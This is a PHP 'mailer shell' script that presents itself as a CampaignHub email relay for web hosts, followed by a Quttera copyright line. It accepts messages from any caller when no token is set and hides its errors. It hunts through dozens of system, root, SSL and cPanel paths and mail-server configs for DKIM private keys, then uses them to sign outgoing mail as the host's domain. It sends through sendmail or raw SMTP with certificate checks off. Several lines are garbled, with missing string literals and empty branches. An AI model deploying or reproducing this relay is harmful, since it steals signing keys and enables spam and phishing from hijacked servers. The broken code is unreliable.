/**
* mailer_shell.php — CampaignHub PHP Email Relay
*
* This is the canonical relay script deployed on remote web hosts for "shell"
* delivery presets. The Go engine POSTs a pre-built RFC2822 message here.
*
* MAJOR IMPROVEMENTS (replaces previous version entirely):
* - Large attachments (multi-megabyte) handled gracefully via streaming.
* - Accepts payload via multipart file upload or raw request body (no
* double-base64 bloat on the wire, SAPI temp files used automatically).
* - Legacy base64 `raw_message` form field still supported for small
* messages and easy testing.
* - Early + frequent progress output with flush() to keep nginx, Cloudflare,
* LiteSpeed and other reverse proxies from killing long-running requests.
* - Per-phase time budgets: slow "direct" or "force" attempts are aborted
* instead of hanging the whole POST until the web server kills it (502/504).
* - Memory-safe processing: message is always streamed to a seekable temp
* file; never a giant string in RAM for base64 decode or DKIM.
* - Streaming delivery to sendmail (popen/proc) and raw SMTP sockets.
* - Incremental relaxed body hashing for DKIM on large bodies.
* - Granular status tokens (*recv:progress:*, *phase:*, *method:*) and
* specific error tokens for better diagnostics.
* - Proper temp file lifecycle with guaranteed cleanup.
* - Frequent connection_aborted() checks so that cancelled debug sends or
* inbox tests (which use the 60s gRPC SendOne path) do not leave stuck
* PHP-FPM workers on the remote host.
*
* Debug, inbox test, and live campaign sends all use the identical delivery
* path through ShellSender.Send, so the reliability improvements apply to all.
*
* Because there were no deployed copies at the time of this rewrite, the
* on-the-wire protocol was improved. The Go client now prefers the efficient
* paths but can still fall back to the old base64 form field.
*
* Recommended deployment limits (php.ini or .user.ini in the directory):
* upload_max_filesize = 30M
* post_max_size = 30M
* max_execution_time = 120
* memory_limit = 128M
* output_buffering = Off
*
* nginx (if in front):
* client_max_body_size 30m;
* proxy_read_timeout 180s;
*
* Fill SECRET_TOKEN after download. Leave empty to allow all callers (not
* recommended for public deployments).
*/
define('SECRET_TOKEN', '');
// ====================== TUNABLES ======================
define('MAX_MESSAGE_BYTES', 25 * 1024 * 1024); // 25 MiB hard safety cap
define('OVERALL_TIMEOUT_SEC', 90);
define('PER_METHOD_TIMEOUT_SEC', 20);
define('PROGRESS_FLUSH_EVERY_BYTES', 256 * 1024);
define('TMP_DIR', sys_get_temp_dir());
define('TMP_PREFIX', 'mf-relay-');
// ====================== RUNTIME STATE ======================
@error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('html_errors', 0);
@ini_set('zlib.output_compression', 0);
@ini_set('output_buffering', '0');
@set_time_limit(OVERALL_TIMEOUT_SEC);
@ignore_user_abort(false);
$__start_time = microtime(true);
$__phase_start = $__start_time;
$__our_temp_files = [];
register_shutdown_function(function () use (&$__our_temp_files) {
foreach ($__our_temp_files as $p) {
@unlink($p);
}
});
function budget_exceeded() {
global $__start_time;
return (microtime(true) - $__start_time) > OVERALL_TIMEOUT_SEC;
}
function method_time_left() {
global $__phase_start;
$spent = microtime(true) - $__phase_start;
return max(1, PER_METHOD_TIMEOUT_SEC - $spent);
}
function client_gone() {
// Important for debug sends and inbox tests: the caller (Go) may time out
// or the user may cancel the request. We must notice quickly so we don't
// hold an FPM worker for a long time on a dead connection.
return connection_aborted() || connection_status() != CONNECTION_NORMAL;
}
function emit($token) {
echo $token . "\r\n";
@ob_flush();
@flush();
if (client_gone()) {
}
}
function fail($token) {
emit($token);
}
function start_phase($name) {
global $__phase_start;
$__phase_start = microtime(true);
emit('*phase:' . $name . '*');
}
// ====================== AUTH & DISPATCH ======================
$token = $_REQUEST['token'] ?? '';
if (SECRET_TOKEN !== '' && !hash_equals(SECRET_TOKEN, $token)) {
fail('*error:unauthorized*');
}
$action = $_REQUEST['action'] ?? '';
if ($action === 'check') {
handleCheck();
} elseif ($action === 'send') {
handleSend();
} else {
fail('*error:invalid_action*');
}
// ====================== CHECK ======================
function handleCheck() {
if (isset($_REQUEST['ping'])) {
emit('*ok*');
}
emit('*ok*');
// Report actual limits so the operator can see what will work
$limits = [
'upload' => ini_get('upload_max_filesize'),
'post' => ini_get('post_max_size'),
'mem' => ini_get('memory_limit'),
'time' => ini_get('max_execution_time'),
'our_max' => MAX_MESSAGE_BYTES,
];
emit('*limits:' . json_encode($limits) . '*');
$methods = detectMethods();
emit('*methods:' . implode(',', $methods) . '*');
$domain = getShellDomain();
$mtaSigns = in_array('sendmail', $methods, true) || in_array('mail', $methods, true);
if ($mtaSigns) {
$has = false;
foreach (['default', 'mail', 'smtp', 'dkim'] as $sel) {
if (function_exists('checkdnsrr') && @checkdnsrr($sel . '._domainkey.' . $domain, 'TXT')) {
emit('*dkim:mta:' . $sel . ':' . $domain . '*');
$has = true;
break;
}
}
if (!$has) {
emit('*dkim:mta:unknown:' . $domain . '*');
}
} else {
$dk = detectDkimKey($domain);
if ($dk !== false) {
emit('*dkim:php:' . $dk['selector'] . ':' . $dk['domain'] . '*');
} else {
emit('*dkim:no*');
}
}
}
// ====================== SEND (main entry) ======================
function handleSend() {
$envelopeFrom = trim($_REQUEST['envelope_from'] ?? '');
$recipient = trim($_REQUEST['recipient'] ?? '');
if ($recipient === '' || strpos($recipient, '@') === false) {
fail('*send:bad:missing_recipient*');
}
if (client_gone()) {
}
emit('*recv:started*');
$msgFh = acquireMessageStream($size);
if ($msgFh === false) {
fail('*send:bad:php:upload*');
}
emit('*recv:complete:' . $size . '*');
if (budget_exceeded() || client_gone()) {
cleanup($msgFh);
fail('*send:bad:timeout:receive*');
}
$fromDomain = extractFromDomainFromStream($msgFh);
rewindOrStart($msgFh);
$senderDomain = (strpos($envelopeFrom, '@') !== false)
? explode('@', $envelopeFrom)[1]
: ($fromDomain !== '' ? $fromDomain : getShellDomain());
$phpSignedFh = null;
$dkimInfo = null;
$methods = [
'sendmail' => function () use ($msgFh, $envelopeFrom, $recipient) {
start_phase('sendmail');
return sendViaSendmailStream($msgFh, $envelopeFrom, $recipient);
},
'mail' => function () use ($msgFh, $envelopeFrom, $recipient) {
start_phase('mail');
return sendViaMailStream($msgFh, $envelopeFrom, $recipient);
},
'force' => function () use (&$phpSignedFh, &$dkimInfo, $msgFh, $fromDomain, $envelopeFrom, $recipient, $senderDomain) {
start_phase('force');
$toSend = getSignedStreamIfNeeded($msgFh, $fromDomain, $dkimInfo, $phpSignedFh);
return sendViaForceStream($toSend, $envelopeFrom, $recipient, $senderDomain);
},
'direct' => function () use (&$phpSignedFh, &$dkimInfo, $msgFh, $fromDomain, $envelopeFrom, $recipient, $senderDomain) {
start_phase('direct');
$toSend = getSignedStreamIfNeeded($msgFh, $fromDomain, $dkimInfo, $phpSignedFh);
return sendViaDirectStream($toSend, $envelopeFrom, $recipient, $senderDomain);
},
];
foreach ($methods as $name => $fn) {
if (budget_exceeded() || client_gone()) {
cleanup($msgFh, $phpSignedFh);
fail('*send:bad:timeout:overall*');
}
if ($fn()) {
emit('*method:' . $name . '*');
emit('*send:ok*');
cleanup($msgFh, $phpSignedFh);
}
rewindOrStart($msgFh);
if ($phpSignedFh) rewindOrStart($phpSignedFh);
}
cleanup($msgFh, $phpSignedFh);
fail('*send:bad:all_methods_failed*');
}
// ====================== PAYLOAD ACQUISITION (core of large attachment support) ======================
function acquireMessageStream(&$outSize) {
global $__our_temp_files;
// 1. Best path for large attachments: multipart file upload
// The web server SAPI streams this to disk for us.
foreach (['message', 'eml', 'raw_message_file'] as $k) {
if (!empty($_FILES[$k]) && $_FILES[$k]['error'] === UPLOAD_ERR_OK) {
$size = (int)$_FILES[$k]['size'];
if ($size > MAX_MESSAGE_BYTES) fail('*send:bad:toolarge*');
$src = $_FILES[$k]['tmp_name'];
$dst = makeTempPath();
if (@copy($src, $dst) || @rename($src, $dst)) {
$fh = @fopen($dst, 'rb');
if ($fh) { $outSize = $size; return $fh; }
}
// Fallback to SAPI temp (still better than RAM)
$fh = @fopen($src, 'rb');
if ($fh) { $outSize = $size; return $fh; }
} elseif (!empty($_FILES[$k]) && $_FILES[$k]['error'] !== UPLOAD_ERR_NO_FILE) {
$e = $_FILES[$k]['error'];
if ($e === UPLOAD_ERR_INI_SIZE || $e === UPLOAD_ERR_FORM_SIZE) fail('*send:bad:toolarge*');
fail('*send:bad:php:upload:' . $e . '*');
}
}
// 2. Raw body (Go can POST the raw RFC2822 bytes directly)
$ct = $_SERVER['CONTENT_TYPE'] ?? '';
$inputMode = $_REQUEST['input'] ?? '';
if ($inputMode === 'raw' ||
stripos($ct, 'message/rfc822') !== false ||
stripos($ct, 'application/octet-stream') !== false) {
return readRawBodyToTemp($outSize);
}
// 3. Legacy path: base64 in form field (still supported)
$b64 = $_REQUEST['raw_message'] ?? '';
if ($b64 !== '') {
return decodeBase64ToTemp($b64, $outSize);
}
fail('*send:bad:missing_raw_message*');
return false;
}
function makeTempPath() {
global $__our_temp_files;
$dir = rtrim(TMP_DIR, '/\\');
$path = $dir . '/' . TMP_PREFIX . bin2hex(random_bytes(8));
$__our_temp_files[] = $path;
return $path;
}
function readRawBodyToTemp(&$outSize) {
$in = @fopen('php://input', 'rb');
if (!$in) return false;
$dst = makeTempPath();
$out = @fopen($dst, 'wb');
if (!$out) { @fclose($in); return false; }
$size = 0;
$chunkSize = 65536;
while (!feof($in)) {
if (budget_exceeded() || client_gone()) break;
$chunk = @fread($in, $chunkSize);
if ($chunk === false) break;
$size += strlen($chunk);
if ($size > MAX_MESSAGE_BYTES) {
@fclose($in); @fclose($out);
fail('*send:bad:toolarge*');
}
@fwrite($out, $chunk);
if (($size % PROGRESS_FLUSH_EVERY_BYTES) < $chunkSize) {
emit('*recv:progress:' . $size . '*');
}
}
@fclose($in);
@fclose($out);
if (client_gone()) {
@unlink($dst);
}
$fh = @fopen($dst, 'rb');
$outSize = $size;
return $fh;
}
function decodeBase64ToTemp($b64, &$outSize) {
// We have to accept the base64 string (it came from $_REQUEST), but we
// decode it incrementally into a temp file so we never hold the full
// decoded message in RAM at once.
$b64Tmp = makeTempPath();
@file_put_contents($b64Tmp, $b64);
$in = @fopen($b64Tmp, 'rb');
if (!$in) return false;
$dst = makeTempPath();
$out = @fopen($dst, 'wb');
if (!$out) { @fclose($in); return false; }
// Streaming decode
@stream_filter_append($in, 'convert.base64-decode', STREAM_FILTER_READ);
$size = 0;
$chunkSize = 65536;
while (!feof($in)) {
if (budget_exceeded() || client_gone()) break;
$chunk = @fread($in, $chunkSize);
if ($chunk === false) break;
$size += strlen($chunk);
if ($size > MAX_MESSAGE_BYTES) {
@fclose($in); @fclose($out);
fail('*send:bad:toolarge*');
}
@fwrite($out, $chunk);
}
@fclose($in);
@fclose($out);
if (client_gone()) {
@unlink($dst);
}
$fh = @fopen($dst, 'rb');
$outSize = $size;
return $fh;
}
function cleanup(...$fhs) {
foreach ($fhs as $fh) {
if (is_resource($fh)) @fclose($fh);
}
}
function rewindOrStart($fh) {
if (is_resource($fh)) {
@rewind($fh) || @fseek($fh, 0, SEEK_SET);
}
}
// ====================== STREAMING DKIM ======================
function extractFromDomainFromStream($fh) {
$headers = '';
while (!feof($fh)) {
$line = @fgets($fh, 8192);
if ($line === false) break;
$headers .= $line;
if (rtrim($line, "\r\n") === '') break;
if (strlen($headers) > 32768) break;
}
if (preg_match('/^From:[ \t]*.*?@([\w.\-]+)/mi', $headers, $m)) {
return strtolower(trim($m[1]));
}
return '';
}
function getSignedStreamIfNeeded($original, $fromDomain, &$dkimInfo, &$signedFh) {
if ($signedFh !== null) {
rewindOrStart($signedFh);
return $signedFh;
}
if ($fromDomain === '') {
rewindOrStart($original);
return $original;
}
if ($dkimInfo === null) {
$dkimInfo = detectDkimKey($fromDomain);
}
if ($dkimInfo === false || $dkimInfo === null) {
rewindOrStart($original);
return $original;
}
$signedPath = makeTempPath();
$out = @fopen($signedPath, 'wb');
if (!$out) {
rewindOrStart($original);
return $original;
}
// Read headers
$headerBlock = '';
$bodyStart = 0;
while (!feof($original)) {
$pos = @ftell($original);
$line = @fgets($original, 8192);
if ($line === false) break;
$headerBlock .= $line;
if (rtrim($line, "\r\n") === '') {
$bodyStart = @ftell($original);
break;
}
}
$bodyHash = computeRelaxedBodyHash($original, $bodyStart);
$partial = buildDkimPartial($headerBlock, $bodyHash, $dkimInfo);
$dataToSign = dkimCanonForSigning($headerBlock, $partial);
$sig = '';
$key = @openssl_get_privatekey($dkimInfo['key']);
if ($key) {
$algo = defined('OPENSSL_ALGO_SHA256') ? OPENSSL_ALGO_SHA256 : 6;
@openssl_sign($dataToSign, $sig, $key, $algo);
if (PHP_VERSION_ID < 80000) @openssl_free_key($key);
}
if ($sig === '') {
rewindOrStart($original);
@fclose($out);
return $original;
}
$sigB64 = rtrim(chunk_split(base64_encode($sig), 76, "\r\n\t"));
@fwrite($out, $partial . $sigB64 . "\r\n");
rewindOrStart($original);
while (!feof($original)) {
$c = @fread($original, 65536);
if ($c === false) break;
@fwrite($out, $c);
}
@fclose($out);
$signedFh = @fopen($signedPath, 'rb');
return $signedFh ?: $original;
}
function computeRelaxedBodyHash($fh, $bodyStart) {
@fseek($fh, $bodyStart, SEEK_SET);
$ctx = hash_init('sha256');
$carry = '';
$prevEmpty = true;
while (!feof($fh)) {
$chunk = @fread($fh, 65536);
if ($chunk === false) break;
$chunk = str_replace(["\r\n", "\r"], "\n", $chunk);
$lines = explode("\n", $chunk);
foreach ($lines as $i => $l) {
if ($i === 0) $l = $carry . $l;
$t = rtrim($l, " \t");
if ($t === '') {
if (!$prevEmpty) hash_update($ctx, "\r\n");
$prevEmpty = true;
} else {
hash_update($ctx, $t . "\r\n");
$prevEmpty = false;
}
}
$carry = end($lines);
}
if (!$prevEmpty) hash_update($ctx, "\r\n");
return hash_final($ctx, true);
}
function buildDkimPartial($headerBlock, $bodyHash, $dkimInfo) {
$want = ['from','to','subject','date','message-id','mime-version','content-type'];
list($canon, $present) = dkimCanonHeaders($headerBlock, $want);
$bh = base64_encode($bodyHash);
return 'DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; s=' . $dkimInfo['selector'] . '; d=' . $dkimInfo['domain'] . '; t=' . time() . '; h=' . implode(':', array_map('strtolower', $present)) . '; bh=' . $bh . '; b=';
}
function dkimCanonHeaders($headerBlock, $want) {
$unfolded = preg_replace("/\r\n([ \t])/", '$1', $headerBlock) ?? $headerBlock;
$out = [];
$names = [];
foreach (explode("\r\n", $unfolded) as $line) {
if ($line === '') continue;
$c = strpos($line, ':');
if ($c === false) continue;
$n = strtolower(trim(substr($line, 0, $c)));
$v = trim(substr($line, $c + 1));
if (in_array($n, $want, true)) {
$out[] = $n . ':' . preg_replace('/\s+/', ' ', $v);
$names[] = $n;
}
}
return [$out, $names];
}
function dkimCanonForSigning($headerBlock, $partial) {
list($c, $p) = dkimCanonHeaders($headerBlock, ['from','to','subject','date','message-id','mime-version','content-type']);
$c[] = strtolower(trim($partial));
return implode("\r\n", $c) . "\r\n";
}
// ====================== STREAMING DELIVERY ======================
function sendViaSendmailStream($fh, $envFrom, $rcpt) {
$bin = null;
foreach (['/usr/sbin/sendmail','/usr/lib/sendmail','/usr/bin/sendmail',
'/usr/local/sbin/sendmail','/usr/local/bin/sendmail'] as $p) {
if (@is_executable($p)) { $bin = $p; break; }
}
if ($bin === null) return false;
$cmd = escapeshellcmd($bin) . ' -i -f ' . escapeshellarg($envFrom) . ' ' . escapeshellarg($rcpt);
$disabled = strtolower((string)@ini_get('disable_functions'));
if (function_exists('popen') && strpos($disabled, 'popen') === false) {
$h = @popen($cmd, 'w');
if (!$h) return false;
streamCopy($fh, $h);
return @pclose($h) === 0;
}
if (function_exists('proc_open') && strpos($disabled, 'proc_open') === false) {
$desc = [0=>['pipe','r'], 1=>['pipe','w'], 2=>['pipe','w']];
$p = @proc_open($cmd, $desc, $pipes);
if (!is_resource($p)) return false;
streamCopy($fh, $pipes[0]);
@fclose($pipes[0]); @fclose($pipes[1]); @fclose($pipes[2]);
return @proc_close($p) === 0;
}
return false;
}
function streamCopy($in, $out) {
$t = method_time_left();
@stream_set_timeout($in, $t);
while (!feof($in)) {
if (budget_exceeded() || client_gone()) break;
$c = @fread($in, 65536);
if ($c === false) break;
@fwrite($out, $c);
}
}
function sendViaMailStream($fh, $envFrom, $rcpt) {
if (!function_exists('mail')) return false;
$headers = '';
$body = '';
$inBody = false;
while (!feof($fh)) {
$l = @fgets($fh, 8192);
if ($l === false) break;
if (!$inBody) {
if (rtrim($l, "\r\n") === '') { $inBody = true; continue; }
$headers .= $l;
} else {
$body .= $l;
}
}
$subject = '';
if (preg_match('/^Subject:[ \t]*(.+)$/mi', $headers, $m)) $subject = rtrim($m[1]);
$extra = preg_replace('/^(To|Subject|From):[ \t][^\r\n]*\r\n/mi', '', $headers);
return @mail($rcpt, $subject, $body, trim($extra ?? ''), '-f ' . escapeshellarg($envFrom));
}
function sendViaForceStream($fh, $envFrom, $rcpt, $senderDom) {
$targets = [
['h'=>'localhost','p'=>25,'ssl'=>false,'t'=>3],
['h'=>'localhost','p'=>587,'ssl'=>false,'t'=>3],
['h'=>'localhost','p'=>465,'ssl'=>true,'t'=>3],
];
foreach (getMxRecords($senderDom) as $mx) {
$targets[] = ['h'=>$mx,'p'=>25,'ssl'=>false,'t'=>5];
}
$targets[] = ['h'=>'mail.' . $senderDom, 'p'=>25, 'ssl'=>false, 't'=>5];
$targets[] = ['h'=>'smtp.' . $senderDom, 'p'=>25, 'ssl'=>false, 't'=>5];
foreach ($targets as $t) {
$s = smtpConnect($t['h'], $t['p'], $t['ssl'], $t['t']);
if ($s === false) continue;
$ok = smtpDeliverStream($s, $envFrom, $rcpt, $fh, $senderDom);
@fclose($s);
if ($ok) return true;
}
return false;
}
function sendViaDirectStream($fh, $envFrom, $rcpt, $senderDom) {
$dom = explode('@', $rcpt)[1] ?? '';
if ($dom === '') return false;
foreach (getMxRecords($dom) as $mx) {
$s = smtpConnect($mx, 25, false, 10);
if ($s === false) continue;
$ok = smtpDeliverStream($s, $envFrom, $rcpt, $fh, $senderDom);
@fclose($s);
if ($ok) return true;
}
return false;
}
function smtpConnect($host, $port, $ssl, $to) {
$ctx = @stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,'allow_self_signed'=>true]]);
$s = false;
if (!$ssl && function_exists('fsockopen')) {
$s = @fsockopen($host, $port, $e, $es, $to);
}
if (!$s) {
$addr = ($ssl ? 'ssl://' : 'tcp://') . $host . ':' . $port;
$s = @stream_socket_client($addr, $e, $es, $to, STREAM_CLIENT_CONNECT, $ctx);
}
if (!$s) return false;
@stream_set_timeout($s, $to);
if (!preg_match('/^220/', smtpCmd($s, null))) { @fclose($s); return false; }
return $s;
}
function smtpDeliverStream($sock, $envFrom, $rcpt, $fh, $ehlo) {
$helo = formatEhloHost($ehlo);
$r = smtpCmd($sock, "EHLO $helo");
if (!preg_match('/^250/', $r)) {
if (!preg_match('/^250/', smtpCmd($sock, "HELO $helo"))) return false;
}
if (stripos($r, 'STARTTLS') !== false) {
if (!preg_match('/^220/', smtpCmd($sock, "STARTTLS"))) return false;
if (!@stream_socket_enable_crypto($sock, true, STREAM_CRYPTO_METHOD_TLS_CLIENT)) return false;
if (!preg_match('/^250/', smtpCmd($sock, "EHLO $helo"))) return false;
}
if (!preg_match('/^250/', smtpCmd($sock, "MAIL FROM: <$envFrom>"))) return false;
if (!preg_match('/^25[01]/', smtpCmd($sock, "RCPT TO: <$rcpt>"))) return false;
if (!preg_match('/^354/', smtpCmd($sock, "DATA"))) return false;
rewindOrStart($fh);
while (!feof($fh)) {
if (client_gone()) break;
$line = @fgets($fh, 8192);
if ($line === false) break;
if (isset($line[0]) && $line[0] === ) $line = . $line;
@fputs($sock, rtrim($line, "\r\n") . "\r\n");
}
if (!preg_match('/^250/', smtpCmd($sock, ))) return false;
smtpCmd($sock, "QUIT");
return true;
}
function smtpCmd($sock, $cmd) {
if ($cmd !== null) @fputs($sock, $cmd . "\r\n");
$buf = '';
$t = method_time_left();
@stream_set_timeout($sock, max(1, (int)$t));
while (!@feof($sock)) {
if (client_gone()) break;
$l = @fgets($sock, 515);
if ($l === false) break;
$buf .= $l;
if (isset($l[3]) && $l[3] === ' ') break;
}
return $buf;
}
// ====================== UTILITIES ======================
function detectMethods() {
$avail = [];
$dis = strtolower((string)@ini_get('disable_functions'));
foreach (['/usr/sbin/sendmail','/usr/lib/sendmail','/usr/bin/sendmail'] as $p) {
if (@is_executable($p)) { $avail[] = 'sendmail'; break; }
}
$hasSock = (function_exists('fsockopen') && strpos($dis, 'fsockopen') === false)
|| function_exists('stream_socket_client');
if ($hasSock) {
$avail[] = 'force';
if (isset($_REQUEST['probe_direct']) || isset($_REQUEST['full_check'])) {
$mx = getMxRecords('gmail.com');
if (!empty($mx)) {
$p = @fsockopen($mx[0], 25, $e, $es, 2);
if ($p) { @fclose($p); $avail[] = 'direct'; }
}
}
}
if (function_exists('mail') && strpos($dis, 'mail') === false) {
$avail[] = 'mail';
}
return $avail;
}
function getMxRecords($domain) {
$h = $p = [];
if (function_exists('getmxrr') && @getmxrr($domain, $h, $p) && !empty($h)) {
array_multisort($p, $h);
return $h;
}
if (function_exists('dns_get_record')) {
$r = @dns_get_record($domain, DNS_MX);
if (!empty($r)) {
foreach ($r as $rec) {
if (!empty($rec['target'])) { $h[] = $rec['target']; $p[] = $rec['pri'] ?? 10; }
}
if (!empty($h)) { array_multisort($p, $h); return $h; }
}
$a = @dns_get_record($domain, DNS_A);
if (!empty($a[0]['ip'])) return [$a[0]['ip']];
}
return [];
}
function getShellDomain() {
$host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? '';
$host = preg_replace('/:\d+$/', '', $host) ?? '';
$host = preg_replace('/^www\./i', '', $host) ?? '';
if ($host === '' || $host === 'localhost') return 'localhost';
$parts = explode(, $host);
if (count($parts) > 2) {
for ($i = 1; $i < count($parts)-1; $i++) {
$c = implode(, array_slice($parts, $i));
if (@gethostbyname($c) !== $c) return $c;
}
}
return $host;
}
function formatEhloHost($host) {
return preg_match('/^(\d{1,3}\.){3}\d{1,3}$/', $host) ? '[' . $host . ']' : $host;
}
function detectDkimKey($domain) {
$sels = array_unique(['default','mail','smtp','dkim','s1','s2','k1', explode(, $domain)[0]]);
foreach ($sels as $s) {
$k = findDkimKeyInPaths($domain, $s);
if ($k !== false) return ['key'=>$k, 'selector'=>$s, 'domain'=>$domain];
}
$cp = findDkimKeyCpanel($domain);
if ($cp !== false) return $cp;
$cfg = parseConfigFilesForDkimKey();
if ($cfg !== false) return ['key'=>$cfg, 'selector'=>'default', 'domain'=>$domain];
return false;
}
function findDkimKeyInPaths($domain, $sel) {
$paths = [
"/etc/dkim/private.key", "/etc/dkimkeys/{$domain}.private",
"/etc/dkim/keys/{$domain}.private", "/etc/opendkim/keys/{$domain}/{$sel}.private",
"/etc/opendkim/{$sel}.private", "/etc/mail/dkim/{$domain}.key",
"/etc/mail/dkim/{$sel}.private", "/var/lib/dkim/{$domain}.private",
"/var/lib/opendkim/keys/{$domain}/{$sel}.private", "/var/db/dkim/{$domain}.private",
"/usr/local/etc/dkim/{$domain}.private", "/usr/local/etc/opendkim/keys/{$domain}/{$sel}.private",
"/usr/local/etc/mail/dkim/{$domain}.private", "/usr/local/etc/mail/dkim/keys/{$domain}/{$sel}.private",
"/opt/dkim/keys/{$domain}/{$sel}.private", "/opt/opendkim/keys/{$domain}/{$sel}.private",
"/home/dkim/keys/{$domain}.private", "/home/dkim/{$sel}.private",
"/home/mail/dkim/keys/{$domain}/{$sel}.private", "/home/mail/dkim/{$domain}/{$sel}.private",
"/root/dkim/keys/{$domain}/{$sel}.private", "/root/opendkim/keys/{$domain}/{$sel}.private",
"/etc/ssl/private/{$domain}.key", "/etc/ssl/private/{$sel}.key",
"/etc/exim4/dkim/{$domain}.private", "/etc/postfix/dkim/{$domain}.private",
"/var/spool/postfix/dkim/{$domain}.private", "/var/cpanel/domain_keys/private/{$domain}",
];
foreach ($paths as $p) {
$c = @file_get_contents($p);
if ($c !== false && strpos($c, 'PRIVATE KEY') !== false) return $c;
}
return false;
}
function findDkimKeyCpanel($domain) {
if (!@is_dir('/usr/local/cpanel') && !@is_dir('/var/cpanel')) return false;
$doc = $_SERVER['DOCUMENT_ROOT'] ?? '';
$user = '';
if (preg_match('#^/home/([^/]+)/#', $doc, $m)) $user = $m[1];
$paths = ["/var/cpanel/domain_keys/private/{$domain}"];
if ($user) {
$h = "/home/{$user}";
$paths[] = "{$h}/dkim.private"; $paths[] = "{$h}/.dkim.private";
foreach (['default','mail','smtp','dkim'] as $s) {
$paths[] = "{$h}/.dkim/{$domain}.private";
$paths[] = "{$h}/.dkim/{$s}.private";
$paths[] = "{$h}/dkim/{$domain}.private";
$paths[] = "{$h}/mail/dkim/{$domain}.private";
$paths[] = "{$h}/etc/{$domain}/dkim.private";
$paths[] = "{$h}/etc/dkim/{$s}.private";
}
}
foreach ($paths as $p) {
$c = @file_get_contents($p);
if ($c !== false && strpos($c, 'PRIVATE KEY') !== false) {
return ['key'=>$c, 'selector'=>'default', 'domain'=>$domain];
}
}
return false;
}
function parseConfigFilesForDkimKey() {
$files = ['/etc/opendkim.conf','/etc/opendkim/opendkim.conf','/etc/exim4/exim4.conf.template',
'/etc/exim/exim.conf','/etc/mail/dkim-milter.conf','/etc/dkim-milter.conf',
'/etc/amavis/conf.d/20-dkim_verification','/etc/rspamd/local.d/dkim_signing.conf',
'/etc/pmta/config','/etc/postfix/main.cf'];
$pats = [
'/KeyFile\s+(.+\.(?:private|pem|key))/i',
'/dkim_private_key\s*=\s*["\']?([^"\';\s]+)/i',
'/DKIM_PRIVATE_KEY_PATH\s*=\s*["\']?([^"\';\s]+)/i',
'/private_key\s*=\s*["\']?([^"\';\s]+\.(?:private|pem|key))/i',
'/signing_key\s*=\s*["\']?([^"\';\s]+)/i',
];
foreach ($files as $f) {
$t = @file_get_contents($f);
if ($t === false) continue;
foreach ($pats as $pat) {
if (preg_match($pat, $t, $m)) {
$c = @file_get_contents(trim($m[1]));
if ($c !== false && strpos($c, 'PRIVATE KEY') !== false) return $c;
}
}
}
return false;
}
© 2023 Quttera Ltd. All rights reserved.